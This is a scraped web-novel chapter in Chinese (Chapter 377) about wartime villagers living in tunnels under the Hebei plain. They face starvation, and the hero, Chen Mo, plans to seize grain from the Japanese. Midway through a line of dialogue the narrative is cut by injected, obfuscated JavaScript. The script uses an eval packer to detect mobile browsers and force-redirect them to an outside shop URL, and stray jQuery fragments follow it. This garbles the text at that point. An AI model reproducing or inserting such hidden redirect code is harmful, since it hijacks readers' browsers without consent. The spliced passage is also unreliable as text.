默认冷灰
24号文字
方正启体

第377章 黄土下的生灵

作者:木·兮本书字数:K更新时间:
    队伍像是一群行将就木的蚂蚁,在这一望无际的荒原上缓慢地蠕动着。


    没人说话。


    哪怕是平时话最多的马驰,这会儿也闭上了嘴。


    饥饿和疲惫像两座大山,压得每个人都直不起腰。


    终于,那片土岗子出现在了视线里。


    荒草凄凄,断壁残垣。


    几棵被雷劈过的老柳树,歪歪斜斜地立在那儿,像是几个佝偻的老人,冷眼看着这群落难的过客。


    “到了……”


    走在最前面的尖兵,沙哑地喊了一声,身子一软,直接跪在了地上。


    陈墨抬起头。


    他看见在那个原本是庙门位置的土堆后面,突然翻起来一块带着草皮的木板。


    紧接着,一个人影钻了出来。


    穿着一身打着补丁的旧军装,左胳膊吊在胸前,那是王成政委。


    “回来咧……”


    王成的声音有些发颤,那是地道的冀中口音,带着股子像黄土一样厚实的亲切感,“都回来咧……”


    他快步走下土坡,那只没受伤的手伸出来,想要扶一把陈墨,却发现陈墨背着人,根本腾不出手。


    王成的眼眶一下子就红了。


    他没说什么多余的话,只是侧过身,冲着那个黑黝黝的洞口喊了一嗓子:“来人!接应!”


    呼啦啦。


    一群人从那个不大的洞口里涌了出来。有战士,也有老乡。


    他们接过伤员,搀扶着走不动的同志。


    一双双粗糙的大手,一个个结实的肩膀,在这个时候就是最坚实的依靠。


    陈墨感觉背上一轻。


    那个伤员被接走了。


    他直起腰,浑身的骨节都在咔咔作响。一阵眩晕袭来,他晃了两下,被王成一把扶住。


    “走。”王成的声音很低,透着股子心疼,“回家。”


    家。


    在这个乱世里,这个字眼显得那么奢侈,又那么沉重。


    陈墨跟着王成,钻进了那个洞口。


    外面是炼狱,是焦土,是绝望。


    里面却是另一个世界。


    一下到地道里,那股子闷热燥气就被隔绝在了外面。


    扑面而来的是一种带着潮湿泥土味的凉爽,还有一种让人鼻头发酸的、久违了的烟火气。


    这条地道比北小王庄的要宽敞得多。


    两边的土墙被铲得很平整,每隔几米就有一个用来放灯的壁龛。


    豆大的油灯火苗跳动着,把长长的影子投射在墙上。


    越往里走,声音越嘈杂。


    不再是枪炮声,也不是哭喊声。


    那是生活的声音。


    “嗡嗡嗡……”


    一阵沉闷而有节奏的响声传进耳朵里。


    陈墨转过一个弯,眼前的景象让他愣住了。


    这是一个巨大的地下大厅,足有两间屋子那么大。


    顶上用粗壮的柏木柱子支撑着,显得格外结实。


    大厅正中央,盘着一个巨大的石磨。


    一头眼睛上蒙着黑布的毛驴,正拉着磨盘,不知疲倦地转着圈。


    也不知道,他们怎么将毛驴弄进来的。


    而毛驴的旁边,几个穿着蓝布褂子的妇女,正围在磨盘边上,用笸箩接着磨出来的玉米面。


    金黄色的粉末在昏暗的灯光下飞扬,像是金沙。


    “这……”


    陈墨有些恍惚,仿佛又回到了太行山、延安的根据地的氛围。


    “这是咱们的磨坊。”


    王成指了指那头毛驴。


    “从村里抢救出来的。这畜生也是命大,鬼子扫荡的时候它钻进了红薯窖,躲过了一劫。”


    再往里走。


    是一排排整齐的地铺。


    那是伤员和老人的休息区。


    虽然简陋,铺的都是干草和破席子,但收拾得很干净。


    几个年轻的姑娘正在给伤员喂水、换药。


    那是根据地的野战医院。


    “人之初,性本善……”


    一阵稚嫩的读书声,从更深处传来。


    陈墨循声走过去。


    在一个稍小的洞室里,摆着几块大石头当桌子。


    十几个孩子正盘腿坐在地上,摇头晃脑地背着书。


    黑板是一块涂了墨汁的木板,粉笔是白色的观音土块。


    讲台上站着的,正是白琳。


    她拿着一根柳条教鞭,那双眼睛却透着股子,读书人特有的认真和执着。


    这里是学校。


    是这片废墟之下,唯一的希望所在。


    陈墨看着这一切。


    看着那拉磨的毛驴,看着那些忙碌的妇女,看着那些读书的孩子。


    他的心里像是被什么东西狠狠地撞了一下,酸楚,却又滚烫。


    这就是中国的老百姓。


    这就是这片土地上的人民。


    哪怕房子被烧了,哪怕亲人**了,哪怕头顶上就是鬼子的刺刀和皮靴。


    只要给他们一个洞,只要给他们一口气,他们就能在这暗无天日的地下,重新把日子过起来。


    他们像野草一样卑微,也像野草一样顽强。野火烧不尽,春风吹又生。


    “俺的娘嘞……”


    这时,身后的二妮突然发出了一声惊呼。


    她站在那个磨坊门口,两只眼睛直勾勾地盯着那笸箩里金黄色的玉米面,脚底下像是生了根,怎么也挪不动步子。


    她的喉咙上下滚动着,发出一声响亮的吞咽声。


    “这……这都是粮食?”


    她的声音在发抖,那是饿极了的人见到食物时本能的反应。


    在她河南老家,为了这么一口吃的,人脑子能打出狗脑子来。


    多少人为了换这一捧棒子面,把儿女都卖了。


    “这是大家伙儿从牙缝里省下来的。”王成叹了口气,走到二妮身边,“不多,但够咱们这几百号人喝顿稀的。”


    “中!中!”


    二妮拼命地点头,眼泪吧嗒吧嗒地往下掉,砸在脚下的黄土里。


    “只要有吃的,俺就不怕。俺有力气,俺能帮着拉磨!”


    她说着就要去推那头毛驴。


    “行了行了。”旁边的大嫂拉住她,往她手里塞了半个黄窝头,“先垫垫肚子。看把你这闺女饿的。”


    二妮捧着那个黄窝头,像是捧着个金元宝。


    她没舍得咬,只是凑到鼻子底下,深深地吸了一口气。


    那是粮食的香气。


    那是活着的味道。


    陈墨看着二妮,又转头看了看王成。


    “政委。”陈墨的声音很低沉,“咱们还有多少粮食?”


    王成脸上的那点笑容消失了。


    他沉默了一下,拉着陈墨走到了一个僻静的角落。


    “不多了。”


    王成压低了声音,语气里透着一股子深深的忧虑。


    “之前为了应付鬼子的扫荡,咱们搞坚壁清野,把粮食都分散埋藏了。可鬼子这次太狠,又是烧又是挖,好多埋粮点都被破坏了。再加上这几天又涌进来这么多难民……”


    他伸出三个手指头。


    “最多还能撑三天。”


    “三天后呢?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844484|183140||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”陈墨问。


    “三天后……”王成苦笑了一声,“就只能去挖野菜,啃树皮了。可这地底下,哪来的野菜树皮?”


    陈墨的心沉了下去。


    这地下的万家灯火,看着温馨,实则脆弱得不堪一击。


    他们躲过了鬼子的屠刀,躲过了毒气和洪水。


    但现在,摆在他们面前的,是一个更古老、更残酷的敌人——饥饿。


    外面是日军严密的封锁网,“无人区”计划正在一步步实施。


    鬼子在平原上挖封锁沟,修碉堡,把一个个村庄变成了孤岛。


    想要出去找粮,难如登天。


    “而且……”王成犹豫了一下,还是说了出来,“我听说,河南那边遭了大灾。旱灾,还有蝗灾,几百万灾民正在往外逃。虽然大批流民还没到咱们冀中,但保不齐哪天就涌过来了。”


    1942年的河南大饥荒。


    陈墨当然知道。


    那是一场惨绝人寰的人间悲剧。


    而现在的冀中虽然没有旱灾,但有人祸。


    日军的“三光”政策,加上这“无人区”的封锁,实际上已经在这里制造了一场人为的“饥荒”。


    “粮食。”


    陈墨喃喃自语。


    在这个时候,粮食就是命。


    没有枪可以去抢,没有**可以去造。


    但如果没有粮食,这支队伍这几百号人,不用鬼子来打,自己就得散。


    他抬起头,看着头顶那厚实的土层。


    仿佛能透过这几米深的黄土,看到外面那片荒芜的、长满了杂草的土地。


    此时已经是七月。


    地里的庄稼如果没人管,怕是都要荒了。


    而鬼子,肯定正盯着那些还没收割的麦子和即将成熟的玉米。


    “政委。”


    陈墨的眼神变得锐利起来。


    “咱们不能坐吃山空。”


    “鬼子想把咱们饿死在洞里,咱们就偏不让他们如愿。”


    “地里的庄稼还在,那是老百姓的血汗,不能让鬼子抢了去。”


    “我们要……抢粮。”


    王成愣了一下,随即点了点头。


    “我也在想这个事。可是,怎么抢?鬼子现在就在路口架着**,咱们一露头……”


    “那就从地底下走。”


    陈墨指了指脚下的土地。


    “咱们的地道既然能通到村里,就能通到地里。哪怕是一把麦子,一颗红薯,那也是咱们的。”


    “还有……”


    他的目光转向了那个正在拉磨的毛驴。


    “既然鬼子在搞‘无人区’,那他们肯定要从别的地方运粮食进来养活他们的部队。他们的运输线,就是咱们的粮仓。”


    “咱们不仅要抢地里的,还要抢鬼子嘴里的。”


    这是一场关于生存的战争。


    比枪炮更残酷,比流血更直接。


    在这黄土之下,为了这一口吃的,为了活下去,人可以爆发出比野兽更可怕的力量。


    陈墨转过身,看着那些正在昏暗灯光下忙碌的人们。


    二妮正小心翼翼地把那个窝头掰碎了,喂给旁边一个生病的小孩。


    她的脸上带着一种圣洁的光辉,那是母性的光辉,也是生命的光辉。


    陈墨握紧了拳头。


    他不能让这光熄灭。


    绝不能。


    “政委,把地图拿来。”


    陈墨的声音在空旷的地道大厅里回荡。


    “咱们好好合计合计。”


    “这顿饭,咱们得去鬼子的锅里盛。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)